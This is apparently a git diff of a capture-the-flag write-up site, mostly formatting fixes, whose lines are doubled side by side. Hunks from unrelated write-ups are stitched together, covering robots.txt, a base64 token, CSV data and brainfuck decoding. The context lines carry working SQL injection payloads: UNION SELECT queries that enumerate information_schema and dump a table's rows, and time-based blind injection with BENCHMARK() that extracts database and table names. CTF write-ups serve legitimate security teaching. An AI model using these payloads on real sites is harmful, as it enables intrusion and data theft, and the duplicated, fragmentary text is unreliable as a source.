If we convert this to an input, we get `' UNION SELECT column_name FROM information_schema.columns WHERE table_name = "naughty" -- `. This return the following rows: If we convert this to an input, we get `' UNION SELECT column_name FROM information_schema.columns WHERE table_name = "naughty" --`. This return the following rows:
| Who? | | Who? |
| -------- | | -------- |
@@ -118,7 +118,7 @@ Knowing the table and column names, we can get all rows in the table. This outpu
SELECT CONCAT(id, " | ", username, " | ", badthing) FROM naughty SELECT CONCAT(id, " | ", username, " | ", badthing) FROM naughty
``` ```
Converted to an input we get `' UNION SELECT CONCAT(id, " | ", username, " | ", badthing) FROM naughty -- `, which, after submitting it, gives us one row: Converted to an input we get `' UNION SELECT CONCAT(id, " | ", username, " | ", badthing) FROM naughty --`, which, after submitting it, gives us one row:
| Who? | | Who? |
| ------------------------------------------- | | ------------------------------------------- |
@@ -148,7 +148,7 @@ SELECT CASE WHEN (SELECT DATABASE() LIKE "a%") THEN BENCHMARK(9000000,MD5(1)) EL
This would run `BENCHMARK(9000000,MD5(1))` if the sub-query returns more than 1 row. The `BENCHMARK()` is used because it's a function that takes a while to run. This would run `BENCHMARK(9000000,MD5(1))` if the sub-query returns more than 1 row. The `BENCHMARK()` is used because it's a function that takes a while to run.
This query will have to be converted to an input first. This will become `' UNION SELECT CASE WHEN (SELECT DATABASE() LIKE "a%") THEN BENCHMARK(9000000,MD5(1)) ELSE 1 END -- ` This query will have to be converted to an input first. This will become `' UNION SELECT CASE WHEN (SELECT DATABASE() LIKE "a%") THEN BENCHMARK(9000000,MD5(1)) ELSE 1 END --`
If we replace `a` with another letter we can find out the database name like this: If we replace `a` with another letter we can find out the database name like this:
@@ -177,6 +177,6 @@ To get the tables inside the database, the same method will have to be used. An
SELECT CASE WHEN COUNT((SELECT table_name FROM information_schema.tables WHERE table_name LIKE "a%" AND table_schema = "testdb" LIMIT 1))>0 THEN BENCHMARK(9000000,MD5(1)) ELSE 1 END SELECT CASE WHEN COUNT((SELECT table_name FROM information_schema.tables WHERE table_name LIKE "a%" AND table_schema = "testdb" LIMIT 1))>0 THEN BENCHMARK(9000000,MD5(1)) ELSE 1 END
``` ```
Which will convert to `' UNION SELECT CASE WHEN COUNT((SELECT table_name FROM information_schema.tables WHERE table_name LIKE "a%" AND table_schema = "testdb" LIMIT 1))>0 THEN BENCHMARK(9000000,MD5(1)) ELSE 1 END -- ` Which will convert to `' UNION SELECT CASE WHEN COUNT((SELECT table_name FROM information_schema.tables WHERE table_name LIKE "a%" AND table_schema = "testdb" LIMIT 1))>0 THEN BENCHMARK(9000000,MD5(1)) ELSE 1 END --`
By using this method, we can get the all database records but it will take a long time. By using this method, we can get the all database records but it will take a long time.
@@ -23,7 +23,7 @@ aliases = [
] ]
+++ +++
- Points: 800 - Points: 800
## Description ## Description
@@ -41,7 +41,7 @@ This is talking about robots, which my be a hint to look at the [`robots.txt`](h
### What is a robots.txt file? ### What is a robots.txt file?
A `robots.txt` file lives at the root of a website. So, for the site www.example.com, a robots.txt file would live at www.example.com/robots.txt. robots.txt is a plain text file that follows the [Robots Exclusion Standard](http://en.wikipedia.org/wiki/Robots_exclusion_standard#About_the_standard). A robots.txt file consists of one or more rules. Each rule blocks (or allows) access for a given crawler to a specified file path in that website. A `robots.txt` file lives at the root of a website. So, for the site www\.example\.com, a robots.txt file would live at www\.example\.com/robots.txt. robots.txt is a plain text file that follows the [Robots Exclusion Standard](http://en.wikipedia.org/wiki/Robots_exclusion_standard#About_the_standard). A robots.txt file consists of one or more rules. Each rule blocks (or allows) access for a given crawler to a specified file path in that website.
### Opening the file ### Opening the file
@@ -23,7 +23,7 @@ aliases = [
] ]
+++ +++
- Points: 900 - Points: 900
## Description ## Description
@@ -63,10 +63,10 @@ echo -n "eyJhdXRoIjoyODk2MSwidGV4dCI6IkkgZG8gbG92ZSBhIGdvb2QgcHV6emxlLiIsInJvbGU
```json ```json
{ {
"auth": 28961, "auth": 28961,
"text": "I do love a good puzzle.", "text": "I do love a good puzzle.",
"role": "user", "role": "user",
"iat": 1607717857 "iat": 1607717857
} }
``` ```
@@ -48,13 +48,13 @@ The attachment contains one file: `chall.tar.gz`.
Extracting this file gives seven `csv` files of about 25MB: Extracting this file gives seven `csv` files of about 25MB:
- 1.csv - 1.csv
- 2.csv - 2.csv
- 3.csv - 3.csv
- 4.csv - 4.csv
- 5.csv - 5.csv
- 6.csv - 6.csv
- 7.csv - 7.csv
They all contain 600255 lines. They all contain 600255 lines.
@@ -314,8 +314,8 @@ This is still pretty bad, but at least I can see something.
From the image I made the following changes: From the image I made the following changes:
- The "g" should be a capital "G" - The "g" should be a capital "G"
- The last question mark should be a "4" - The last question mark should be a "4"
The other two were still unreadable, but from guessing I replaced the second question mark with a "c" and the other two that are left with an "r". The other two were still unreadable, but from guessing I replaced the second question mark with a "c" and the other two that are left with an "r".
@@ -839,13 +839,13 @@ print(unary_code)
Then, let's follow the steps to convert brainfuck to Unary in reverse. Then, let's follow the steps to convert brainfuck to Unary in reverse.
1. Remove the leading `1` 1. Remove the leading `1`
```py ```py
unary_code = unary_code[1:] unary_code = unary_code[1:]
``` ```
2. Replace unary with brainfuck 2. Replace unary with brainfuck
```py ```py
for i in range(0, len(unary_code), 3): for i in range(0, len(unary_code), 3):
@@ -869,7 +869,7 @@ Then, let's follow the steps to convert brainfuck to Unary in reverse.
brainfuck_code += "]" brainfuck_code += "]"
``` ```
3. Print the result: 3. Print the result:
```py ```py
print(brainfuck_code) print(brainfuck_code)
@@ -42,7 +42,7 @@ Congratulations, you successfully sneaked past the guards, and now you are insid
attachment.zip (_file too large_) attachment.zip (_file too large_)
- [bzImage.elf](/files/writeups/google-ctf/2021/beginners-quest/9/bzImage.elf) - [bzImage.elf](/files/writeups/google-ctf/2021/beginners-quest/9/bzImage.elf)
## Recon ## Recon

Some files were not shown because too many files have changed in this diff Show More